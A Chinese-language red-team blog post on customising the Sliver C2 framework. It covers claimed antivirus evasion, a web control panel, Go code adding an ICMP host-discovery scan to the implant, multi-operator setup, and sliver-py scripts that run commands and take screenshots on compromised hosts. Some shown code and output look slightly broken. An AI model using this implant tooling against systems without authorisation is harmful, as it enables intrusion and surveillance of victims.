Sliver与Cobalt Strike对比
相比 Cobalt Strike,Sliver 在二次开发方面更具优势,这主要得益于其完全开源的架构设计。此外,Sliver 的免杀能力也更为突出,它内置了多种机制来绕过安全软件的检测,并且在 Linux 平台上的支持更加友好。官方提供的简洁接口和 RPC 调用,也极大地方便了用户进行深度开发和系统集成。默认生成的原生 Sliver 载荷,能够有效绕过国内常见的杀软,如 360、火绒等。
开发进度
当前项目仍处于持续的开发和完善阶段。现阶段大部分接口逻辑由 AI 辅助生成,部分接口在稳定性和完整性方面可能存在不足,个别功能或许存在缺陷或尚未完全实现,后续将逐步进行优化和修复。
Sliver Web 开发
目前,针对 Sliver 的图形化界面方案在国内外都相对匮乏。基于 Vue3、FastAPI 和 sliver-py 库,并在 AI 的辅助下,我们开发了一套功能较为完整的 Sliver Web 化指挥中心。
大部分核心功能已经实现,但载荷生成功能由于所依赖的 sliver-py 库版本较旧,生成载荷时存在问题,目前仍在解决中。
下面展示部分功能界面:
1. 指挥中心仪表板

2. 载荷生成与配置

3. 网络拓扑可视化

4. 屏幕监控

5. 代理转发

6. 终端交互

7. 多人协作指挥中心

8. 战利品库

9. 主机详情概览

10. 环境变量管理

11. 监听器管理

12. 横向移动向导

13. 任务管理

14. 会话管理

源码二次开发
Sliver 源码体量较大,排除第三方库后的 Go 文件也有数千个。不过,我们进行定制开发通常只需要修改特定的模块即可,但想要完全理解整个代码逻辑确实有一定难度。
这里我们通过一个简单的例子,演示如何为 Sliver 添加一个内网主机存活探测(ICMP扫描)的功能。
环境准备(避坑指南)
如果修改的源码涉及到 .proto 文件,则必须重新生成对应的 .pb.go 文件。
Protobuf 编译器的版本必须严格匹配,否则在运行时可能出现错误。推荐版本如下:
- Protoc libprotoc v26.1 或更高版本
- Protoc-gen-go v1.27.1
- Protoc-gen-go-grpc v1.2.0
版本不匹配可能会导致如下错误:

在 Kali 等系统上,可以直接运行以下命令安装指定版本:
go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.27.1
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2.0
export PATH="$HOME/go/bin:$PATH"
在 Sliver 中,Client、Server 与 Implant 之间的所有通信都基于 Protobuf 定义。因此,新增功能的第一步就是扩展 RPC 协议。
定义 Protobuf
首先,了解相关的目录结构:
| 目录 / 文件 |
作用简介 |
protobuf/ |
Sliver 各组件(client / server / implant)之间的 通信协议定义层 |
protobufs.go |
注册所有 proto 描述符,用于运行时反射和版本管理 |
clientpb/ |
客户端与服务端的请求/响应消息定义 |
commonpb/ |
各模块共享的通用 protobuf 消息结构 |
dnspb/ |
DNS C2 通信使用的 protobuf 消息定义 |
rpcpb/ |
gRPC 服务接口与 Stub(API 核心) |
sliverpb/ |
Server 与 Implant 间的控制协议(任务、状态、遥测) |
我们需要先定义数据传输的格式。
-
修改 sliver/protobuf/rpcpb/services.proto,在 RPC 服务定义中增加 ICMPScan 方法:
rpc ICMPScan(sliverpb.ICMPScanReq) returns (sliverpb.ICMPScanResp);
-
修改 sliver/protobuf/sliverpb/sliver.proto,定义请求和响应的结构体:
message ICMPScanReq {
string Range = 1;
uint32 Timeout = 2;
int32 Concurrency = 3;
commonpb.Request Request = 10;
}
message ICMPScanResp {
repeated string AliveHosts = 1;
commonpb.Response Response = 2;
}

- 编译 Protobuf:
make pb

服务端(Server)二次开发
服务端的主要目录结构如下:
| 目录 / 文件 |
作用简介 |
main.go |
Server 入口,解析参数并启动守护进程 |
rpc/ |
gRPC 服务实现与注册 |
我们关注的是 rpc 目录。添加文件 server/rpc/rpc-icmp-scan.go。
ICMPScan 方法主要用于响应客户端发起的 ICMP 扫描请求,它通过调用通用的处理器来执行实际的扫描操作,并返回扫描结果。
package rpc
import (
"context"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func (rpc *Server) ICMPScan(ctx context.Context, req *sliverpb.ICMPScanReq) (*sliverpb.ICMPScanResp, error) {
resp := &sliverpb.ICMPScanResp{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}

客户端(Client)命令集成二次开发
client/command/ 目录下的文件通常遵循以下格式:
commands.go – 注册信息导向型命令并将其绑定到控制台。
info.go – 查询详细的会话或信标元数据,并打印丰富的状态表。
实际的功能文件.go – 包含具体功能的实现逻辑。
因此,我们需要在 client/command/ 下创建一个名为 icmpscan 的文件夹,并在其中创建两个文件。
-
创建 client/command/icmpscan/commands.go,用于定义命令:
package icmpscan
import (
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func Commands(con *console.SliverClient) []*cobra.Command {
icmpScanCmd := &cobra.Command{
Use: "hostscan", // 命令名称
Short: "内网主机存活探测 (ICMP)",
Long: "通过指定 IP 范围进行 ICMP 存活探测。",
Run: func(cmd *cobra.Command, args []string) {
// 在这里调用你实际的执行逻辑
IcmpScanExecute(cmd, con)
},
}
// 在这里绑定参数(Flags)
icmpScanCmd.Flags().StringP("range", "r", "", "目标 IP 范围 (CIDR)")
icmpScanCmd.Flags().Int32P("timeout", "t", 5, "超时时间(秒)")
return []*cobra.Command{icmpScanCmd}
}
-
创建 client/command/icmpscan/icmpscan.go,实现命令逻辑:
package icmpscan
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
func IcmpScanExecute(cmd *cobra.Command, con *console.SliverClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
targetRange, _ := cmd.Flags().GetString("range")
timeout, _ := cmd.Flags().GetInt32("timeout")
if targetRange == "" {
con.PrintErrorf("错误: 请通过 -r 指定扫描范围 (例如: 192.168.1.0/24)\n")
return
}
req := &sliverpb.ICMPScanReq{
Range: targetRange,
Timeout: uint32(timeout),
Request: con.ActiveTarget.Request(cmd),
}
con.PrintInfof("正在通过 Session %d (%s) 发起主机存活探测: %s ...\n",
session.ID, session.Name, targetRange)
resp, err := con.Rpc.ICMPScan(context.Background(), req)
if err != nil {
con.PrintErrorf("扫描请求失败: %v\n", err)
return
}
if len(resp.AliveHosts) == 0 {
con.PrintWarnf("探测完成,未发现存活主机。\n")
} else {
con.PrintSuccessf("探测完成,共发现 %d 个存活主机:\n", len(resp.AliveHosts))
for _, host := range resp.AliveHosts {
con.Printf(" [+] %s\n", host)
}
}
}

- 将新命令注册到系统中。修改
client/command/sliver.go 文件,在相应的命令组绑定处添加 icmpscan.Commands:
// [ Execution ]
bind(consts.ExecutionHelpGroup, shell.Commands, exec.Commands, backdoor.Commands, dllhijack.Commands, cursed.Commands, wasm.Commands, icmpscan.Commands, )

至此,客户端和服务端的代码修改就完成了,接下来可以编译运行。
make

植入体(Implant)二次开发
现在需要让植入体(即被控端)能够理解并执行我们新定义的 ICMPScan 指令。
- 在
sliver/protobuf/sliverpb/constants.go 中添加消息类型常量:
// ===== ICMP Scan =====
MsgICMPScan

- 在同一个文件的
GetMessageType 函数中添加对应的 case 分支:
case *ICMPScanReq:
return MsgICMPScan

-
实现扫描逻辑。在 implant/sliver/ 目录下创建 hostscan 文件夹,并创建 hostscan.go 文件:
package hostscan
import (
"context"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
func PerformIcmpScan(target string, timeoutSec int32) []string {
ips := parseTarget(target)
if len(ips) == 0 {
return nil
}
var aliveHosts []string
var mu sync.Mutex
var wg sync.WaitGroup
// 并发控制:由于启动进程开销较大,建议并发数不要设得太高(30-50 比较合适)
sem := make(chan struct{}, 50)
timeout := time.Duration(timeoutSec) * time.Second
for _, ip := range ips {
wg.Add(1)
sem <- struct{}{}
go func(targetIP string) {
defer wg.Done()
defer func() { <-sem }()
if systemPing(targetIP, timeout) {
mu.Lock()
aliveHosts = append(aliveHosts, targetIP)
mu.Unlock()
}
}(ip)
}
wg.Wait()
return aliveHosts
}
func systemPing(ip string, timeout time.Duration) bool {
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "ping", "-n", "1", "-w", "1000", ip)
} else {
cmd = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1", ip)
}
err := cmd.Run()
return err == nil
}
func parseTarget(target string) []string {
var ips []string
if !strings.Contains(target, "/") {
if net.ParseIP(target) != nil {
return []string{target}
}
return nil
}
ip, ipnet, err := net.ParseCIDR(target)
if err != nil {
return nil
}
for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); inc(ip) {
ips = append(ips, ip.String())
}
if len(ips) > 2 {
return ips[1 : len(ips)-1]
}
return ips
}
func inc(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}

-
注册消息处理器。implant/sliver/handlers/ 目录下的文件负责处理不同类型的消息。我们需要在 handlers.go (或平台特定的文件如 handlers_linux.go) 中添加一个处理器函数,并将消息类型与处理器绑定。
以下函数逻辑可添加到 handlers_linux.go 中(本次测试环境为 Linux。实际生产环境中,建议将通用逻辑放在 rpc-handlers.go 中以实现跨平台支持):
func hostScanHandler(data []byte, resp RPCResponse) {
req := &sliverpb.ICMPScanReq{} // 根据你 proto 的定义
if err := proto.Unmarshal(data, req); err != nil {
resp(nil, err)
return
}
if req.Range == "" {
resp(nil, nil)
return
}
aliveHosts := hostscan.PerformIcmpScan(req.Range, int32(req.Timeout))
icmpResp := &sliverpb.ICMPScanResp{
AliveHosts: aliveHosts,
}
out, err := proto.Marshal(&icmpResp)
if err != nil {
resp(nil, err)
return
}
resp(out, nil)
}
-
在 handlers.go 的 getHandlersMap 函数中(或类似的消息映射处)注册该处理器:
sliverpb.MsgICMPScan: hostScanHandler,

- 重新编译整个项目并运行 Server:
make
./silver-server

- 测试新添加的
hostscan 命令:
sliver (SUDDEN_AUTHORIZATION) > hostscan -r 10.28.217.0/24
[+] 正在通过 session %d(string=a0833fed7-b084-4b7b-9b44-194111d687203) (SUDDEN_AUTHORIZATION) 发起主机存活探测:10.28.217.0/24 ...
Response:
[+] 探测完成,共发现 2 个存活主机:
[+] 10.28.217.158
[+] 10.28.217.247

Sliver 多人协同机制
多人模式允许多个操作员(Operator)连接到同一个 Sliver Server,从而实现团队协作。
典型场景如下:
- Sliver Server 运行在一台 VPS 上。
- 多名红队成员在各自的电脑上操作。
- 每个人使用一个独立的 operator 配置文件进行连接。
其架构可简化为:
┌──────────────────┐ C2
│ │ Protocol ┌─────────┐
│ Sliver C2 Server ├─────────────►│ Implant │
│ │ └─────────┘
└──────────────────┘
▲
│
gRPC/mTLS │
┌────────────┬────────┴─────┬───────────┐
│ │ │ │
┌─────┴──┐ │ │ ┌──┴─────┐
│Windows │ ┌────┴───┐ ┌────┴───┐ │Windows │
│Operator│ │Linux │ │MacOS │ │Operator│
└────────┘ │Operator│ │Operator│ └────────┘
└────────┘ └────────┘
启动 Server 并生成配置文件
-
启动 Server(以 Linux 为例):
./sliver-server_linux-amd64
-
在 Server 控制台中,为新的操作员生成配置文件:
sliver > new-operator --name admin1 --lhost 127.0.0.1 --permissions all
- Generating new client certificate, please wait ...
- Saved new client config to: /home/zss/.storage/sliver/admin1_127.0.0.1.cfg

| 参数 |
含义 |
--name |
操作员名称 |
--lhost |
Sliver Server 地址(IP / 域名) |
--permissions all |
允许访问所有 gRPC API(最高权限) |
- 在 Server 控制台启动多人协作模式:
sliver > multiplayer
- Multiplayer mode enabled!

客户端连接
其他团队成员在其机器上,使用生成的配置文件连接 Server:
./sliver-client_linux-amd64 import /home/zss/.storage/sliver/admin1_127.0.0.1.cfg
./sliver-client_linux-amd64
Sliver RPC 调用
Sliver 官方提供了 Python 客户端库 sliver-py,允许开发者直接通过 gRPC 调用 Sliver Server 的 API,从而实现自动化或与其他系统集成。
安装库:
pip install sliver-py
在调用前,需要确保 Server 端已开启 RPC(即多人模式)并生成了操作员配置文件:
sliver > new-operator --name admin1 --lhost 127.0.0.1 --permissions all
sliver > multiplayer
简单调用演示:获取会话与信标
以下代码演示了如何连接 Server 并获取当前的会话和异步信标列表。
#!/usr/bin/env python3
import os
import asyncio
from sliver import SliverClientConfig, SliverClient
# 默认 Sliver 客户端配置目录
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg")
async def main():
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
client = SliverClient(config)
await client.connect()
print('已连接到 Sliver 服务端...')
# 1. 获取实时 Sessions
sessions = await client.sessions()
print(f'实时会话:{len(sessions)} 个')
for s in sessions:
print(s)
beacons = await client.beacons()
print(f'异步信标(Beacons):{len(beacons)} 个')
for b in beacons:
print(b)
if __name__ == '__main__':
asyncio.run(main())

RPC 调用实现远程命令执行
通过 RPC 可以与活跃会话进行交互,执行命令。
#!/usr/bin/env python3
import os
import asyncio
from sliver import SliverClientConfig, SliverClient
# 默认 Sliver 客户端配置目录
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg")
async def main():
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
client = SliverClient(config)
await client.connect()
print('已连接到 Sliver 服务端...')
# 1. 获取实时 Sessions
sessions = await client.sessions()
print(f'实时会话:{len(sessions)} 个')
run = await client.interact_session(sessions[0].ID)
print(await client.interact_session(sessions[0].ID))
print(f'执行ls命令')
print(await run.ls())
if __name__ == '__main__':
asyncio.run(main())
RPC 调用实现屏幕截图
通过 RPC 调用 screenshot 指令,并将返回的二进制数据保存为图片文件。
#!/usr/bin/env python3
import os
import asyncio
from sliver import SliverClientConfig, SliverClient
DEFAULT_CONFIG = "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg"
async def main():
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
client = SliverClient(config)
await client.connect()
print(' 已连接到 Sliver 服务端...')
# 1. 获取实时会话
sessions = await client.sessions()
print(f'当前实时会话:{len(sessions)} 个')
# 2. 获取交互对象
session = sessions[0]
run = await client.interact_session(session.ID)
print(f'目标主机:{session.Hostname},准备执行截图...')
# 3. 执行截图并处理返回数据
screenshot_data = await run.screenshot()
# 4. 将二进制数据写入文件
if screenshot_data:
filename = f"screenshot_{session.ID[:8]}.png"
with open(filename, "wb") as f:
if hasattr(screenshot_data, 'Data'):
f.write(screenshot_data.Data)
else:
f.write(screenshot_data)
print(f'截图已保存为:{os.path.abspath(filename)}')
else:
print("截图失败:未获取到数据。")
if __name__ == '__main__':
asyncio.run(main())

免责声明
本工具及文章内容仅限于合法的安全研究、安全审计及教育目的。用户在实施任何相关行为时,应严格遵守所在地法律法规。开发者不对因滥用本工具而产生的任何直接或间接法律责任承担任何责任。
对 Sliver 这类开源 C2 框架进行深度定制和 Web 化改造,涉及大量的 Go 语言底层编程和 前端框架 集成工作,是提升红队基础设施自动化与协作效率的重要实践。本文展示的二次开发流程,也适用于其他需要深度定制安全工具的场景。如果你想了解更多实战技巧或参与讨论,欢迎在 云栈社区 的技术板块交流。